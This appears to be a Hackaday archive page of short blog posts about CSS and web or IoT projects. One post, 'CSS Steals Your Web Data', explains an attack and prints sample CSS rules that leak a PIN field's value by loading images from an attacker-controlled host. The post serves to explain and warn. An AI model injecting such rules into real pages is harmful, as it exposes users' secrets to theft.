Blurry Image Placeholders, Generated With Minimal CSS

May 1, 2025 by Donald Papp 9 Comments

Low-quality image placeholders (LQIPs) have a solid place in web page design. There are many different solutions but the main gotcha is that generating them tends to lean on things like JavaScript, requires lengthy chunks of not-particularly-human-readable code, or other tradeoffs. [Lean] came up with an elegant, minimal solution in pure CSS to create LQIPs.

Here’s how it works: all required data is packed into a single CSS integer, which is decoded directly in CSS (no need for any JavaScript) to dynamically generate an image that renders immediately. Another benefit is that without any need for wrappers or long strings of data this method avoids cluttering the HTML. The code is little more than a line like <img src="…" style="--lqip:567213"> which is certainly tidy, as well as a welcome boon to those who hand-edit files.

The trick with generating LQIPs from scratch is getting an output that isn’t hard on the eyes or otherwise jarring in its composition. [Lean] experimented until settling on an encoding method that reliably delivered smooth color gradients and balance.

This method therefore turns a single integer into a perfectly-serviceable LQIP, using only CSS. There’s even a separate tool [Lean] created to compress any given image into the integer format used (so the result will look like a blurred version of the original image). It’s true that the results look very blurred but the code is clean, minimal, and the technique is easily implemented. You can see it in action in [Lean]’s interactive LQIP gallery.

CSS has a lot of capability baked into it, and it’s capable of much more than just styling and lining up elements. How about trigonometric functions in CSS? Or from the other direction, check out implementing a CSS (and HTML) renderer on an ESP32.

BritCSS: Write CSS With British English Spellings

March 13, 2025 by Maya Posch 37 Comments

Everyone knows that there is only one proper English, with the rest being mere derivatives that bastardize the spelling and grammar. Despite this, the hoodlums who staged a violent uprising against British rule in the American colonies have somehow made their uncouth dialect dominant in the information technologies that have taken the world by storm these past decades. In this urgent mission to restore the King’s English to its rightful place, we fortunately have patriotic British citizens who have taken it upon themselves to correct this grave injustice. Brave citizens such as [Declan Chidlow], whose BritCSS project is a bright beacon in these harrowing times.

Implemented as a simple, 14 kB JavaScript script to be included in an HTML page, it allows one to write CSS files using proper spelling, such as background-colour and centre. Meanwhile harsh language such as !important is replaced with the more pleasant !if-you-would-be-so-kind. It is expected that although for now this script has to be included on each page to use BritCSS, native support will soon be implemented in every browser, superseding the US dialect version. [Declan] has also been recommended to be awarded the Order of the British Empire for his outstanding services.

Using Trigonometric Functions In CSS

August 1, 2023 by Maya Posch 14 Comments

Often neglected as ‘merely a styling language’, CSS contains a wealth of functions built right into the browser’s rendering engine that can perform everything from animations to typography and even mathematical operations, with more added each year.

Screenshot of the output of the basic rotating dots example using CSS.

In a tutorial [Bramus] takes us through using the trigonometric functions in CSS. These are supported in all major browsers since Chrome 111, Firefox 108 and Safari 15.4. In addition to these trigonometric functions, further mathematical functions are also available, many of whom have been available for years now, such as calc(), min() and max().

Unlike the JavaScript version of the CSS trigonometric functions, the CSS functions accept both angles and radians for the argument. Perhaps the nicest thing about having this functionality in CSS is that it removes the need to add JavaScript for many simple things on a webpage, such as animations, translations and the calculating of offsets and positions. Perhaps most impressive is the provided example by [Ana Tudor] who created an animated Möbius strip using cos() and sin() and a handful of other CSS functions.

None of this is likely surprising to anyone who is somewhat familiar with the depths of CSS, especially after it has been more-or-less proven to be a Turing-complete programming language. Using this power for visual elements does however make a lot of sense considering that CSS was always intended to help with styling and formatting the raw HTML.

Do you use these advanced CSS features already, or is it something you might consider using in the future, possibly over JavaScript versions? Feel free to share your thoughts and experiences in the comments.

(Heading: Code to move items on a circular path around a central point in CSS.)

Render HTML And CSS On An ESP32

March 18, 2022 by Jenny List 9 Comments

As the available computing power from affordable microcontrollers continues to increase, there is an inevitable blurring of the line between them and the lower tier of application processors capable of running Linux-based operating systems. For the most part a microcontroller busies itself with behind-the-scenes tasks, but as so many projects here have demonstrated, they can be pretty capable when it comes to user-facing applications too. Now [Andy Green] has extended the possibilities with affordable silicon, by producing a proof-of-concept HTML + CSS renderer over h2 on ESP32 for libwebsockets. Surf the web on a microcontroller without settling for a text-only experience? Why not!

He freely admits that this is far from being a complete HTML rendering engine, in that while it parses and renders HTML and CSS with JPEG and PNG image support, it does so only with a subset of HTML and is not tolerant of any malformations. There is also no JS support, which is hardly surprising given the available resources.

Even with those limitations it remains an impressive piece of work, which we hope will one day be able to make some effort at displaying Hackaday on ESP32 devices such as the badge.team European conference badges. Definitely a project to watch!

CSS Steals Your Web Data

February 25, 2018 by Al Williams 26 Comments

Earlier this year, we posted a link to an interactive Web page. Most people seemed to like it, but we got at least one comment about how they would never be so incautious as to allow JavaScript to run on their computers. You can argue the relative merit of that statement, but it did remind us that just disabling JavaScript is no panacea when it comes to Internet security. You might wonder how you could steal data without scripting, assuming you don’t directly control the server or browser, of course. The answer is by using a cascading style sheet (CSS). [Live Overflow] explains the exploit in the video below, covering an older paper and a recent rediscovery of the technique.

The technique hinges on you getting a CSS into the web page. Maybe you’ve partially compromised the server or maybe you wrote a malicious browser extension. The method works because you can make a style conditional on an attribute of an element. That means you can ask CSS to do some special formatting on a text field with a certain value. If that formatting is to load some background image from a server you control then you can tell if the field has a particular value.

We didn’t say it was easy. Suppose you want to capture a four-digit PIN number. You will need about 10,000 lines of format. For example:

input[type="pin"][value$="0000"] { background-color: url(http://notahackaday.com/0000.png }
input[type="pin"][value$="0001"] { background-color: url(http://notahackaday.com/0001.png }
...
input[type="pin"][value$="9999"] { background-color: url(http://notahackaday.com/9999.png }

Continue reading “CSS Steals Your Web Data” →

Hybrid Technique Breaks Backscatter Distance Barrier

September 19, 2017 by Dan Maloney 31 Comments

Low cost, long range, or low power — when it comes to wireless connectivity, historically you’ve only been able to pick two. But a group at the University of Washington appears to have made a breakthrough in backscatter communications that allows reliable data transfer over 2.8 kilometers using only microwatts, and for pennies apiece.

For those unfamiliar with backscatter, it’s a very cool technology that modulates data onto RF energy incident from some local source, like an FM broadcast station or nearby WiFi router. Since the backscatter device doesn’t need to power local oscillators or other hungry components, it has negligible power requirements. Traditionally, though, that has given backscatter devices a range of a few hundred meters at most. The UW team, led by [Shyamnath Gollokota], describe a new backscatter technique (PDF link) that blows away previous records. By combining the spread-spectrum modulation of LoRa with the switched attenuation of incident RF energy that forms the basis for backscatter, the UW team was able to cover 2800 meters for under 10 microwatts. What’s more, with printable batteries or cheap button cells, the backscatter tags can be made for as little as 10 cents a piece. The possibilities for cheap agricultural sensors, ultracompact and low power wearable sensors, or even just deploy-and-forget IoT devices are endless.

We’ve covered backscatter before, both for agricultural uses and for pirate broadcasting stations. Backscatter also has also seen more cloak and dagger duty.

Continue reading “Hybrid Technique Breaks Backscatter Distance Barrier” →

Quick And Easy IoT Prototyping With Involt

February 4, 2017 by Cameron Coward 20 Comments

IoT, web apps, and connected devices are all becoming increasingly popular. But, the market still resembles a wild west apothecary, and no single IoT ecosystem or architecture seems to be the one bottle of snake oil we’ll all end up using. As such, we hackers are keen to build our own devices, instead of risking being locked into an IoT system that could become obsolete at any time. But, building an IoT device and interface takes a wide range of skills, and those who are lacking skill in the dark art of programming might have trouble creating a control app for their shiny new connected-thing.

Enter Involt, which is a framework for building hardware control interfaces using HTML and CSS. The framework is built on Node-Webkit, which means the conventions should be familiar to those with a bit of web development background. Hardware interactions (on Arduinos) are handled with simple CSS classes. For example, a button might contain a CSS class which changes an Arduino pin from high to low.

Involt can take that CSS and convert it into a function, which is then sent to the Arduino via serial or Bluetooth communication. For more advanced functionality, Javascript (or really any other language) can be used to define what functions are generated — and, in turn, sent to the Arduino. But, all that is needed for the basic functionality necessary for many IoT devices (which might only need to be turned on and off, or set to a certain value) is a bit of HTML and CSS knowledge. You’ll create both the interface and the underlying hardware interactions all within an HTML layout with CSS styling and functionality.

While Involt isn’t the only framework to simplify hardware interaction (it’s not even the only Node.js based method), the simplicity is definitely laudable. For those who are just getting started with these sorts of devices, Involt can absolutely make the process faster and less painful. And, even for those who are experienced in this arena, the speed and efficiency of prototyping with Involt is sure to be useful.